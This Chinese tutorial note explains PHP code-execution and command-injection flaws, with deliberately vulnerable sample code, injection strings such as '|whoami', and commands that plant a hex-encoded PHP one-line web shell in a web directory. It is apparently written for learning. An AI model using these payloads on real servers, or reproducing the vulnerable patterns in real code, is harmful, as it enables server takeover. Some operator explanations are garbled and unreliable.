代码执行和命令执行漏洞小记
代码执行漏洞
由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。
代码执行漏洞本质
PHP代码执行漏洞可以将代码注入到应用中,最终到webserver去执行,用了相关函数、却存在可以控制的变量。
代码执行产生的函数
eval()
preg_replace()
create_function()
assert()
array_map()
call_user_func()/call_user_func_array ()
array_filter()
usort()、uasort()
静态函数执行
eval()函数是将输入的字符串当做PHP代码执行
assert()会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。
实例代码:
<?php
eval('phpinfo();');assert('phpinfo();');
?>
动态函数执行
实例代码:
<?php
$code=$_GET["name"];
eval($code);
?>
命令执行漏洞本质
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。
命令执行漏洞危害
继承Web服务器程序的权限,去执行系统命令
继承Web服务器程序的权限,读写文件
反弹shell
控制整个网站
甚至控制整个服务器
命令执行产生的函数
system(args) 有回显
passthru(args)(有回显)
exec(args) (回显最后一行-必须echo输出)
shell_exec(args) (无回显-必须输出)
popen(handle,mode)(无回显)
proc_open(‘cmd’,‘flag’,‘flag’)(无回显)
$process = proc_open(‘dir’,$des,$pipes);
echo stream_get_contents($pipes[1]);
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针
(在C语言中用一个指针变量指向一个文件,这个指针称为文件指针。通过文件指针就可对它所指的文件进行各种操作)
实例代码:
<?php
$arg = $_GET['cmd'];
if($arg){
system("$arg");
}
?>
实例代码:
<?php
$arg = $_GET['cmd'];
if($arg){
system("ping –c 3 $arg");
}
?>
访问格式:
http://127.0.0.1/m.php?cmd=127.0.0.1|whoami
命令执行的绕过
WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web可写目录加文件完整名字
LINUX:需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原。
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字
|:管道符,将一个程序的输出作为另一个程序的输入
>:输出重定向,将程序的输出流输入到某个程序或者文本中
>>追加输出重定向,将输出的内容追加到一个文件的末尾
<:输入重定向,将输入的内容重定向到文件或程序中
可以利用的特殊字符
- Windows平台:
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami - Linux平台:
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
11 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能真 ping 127.0.0.1&&whoami
双管道符 || 对一个就执行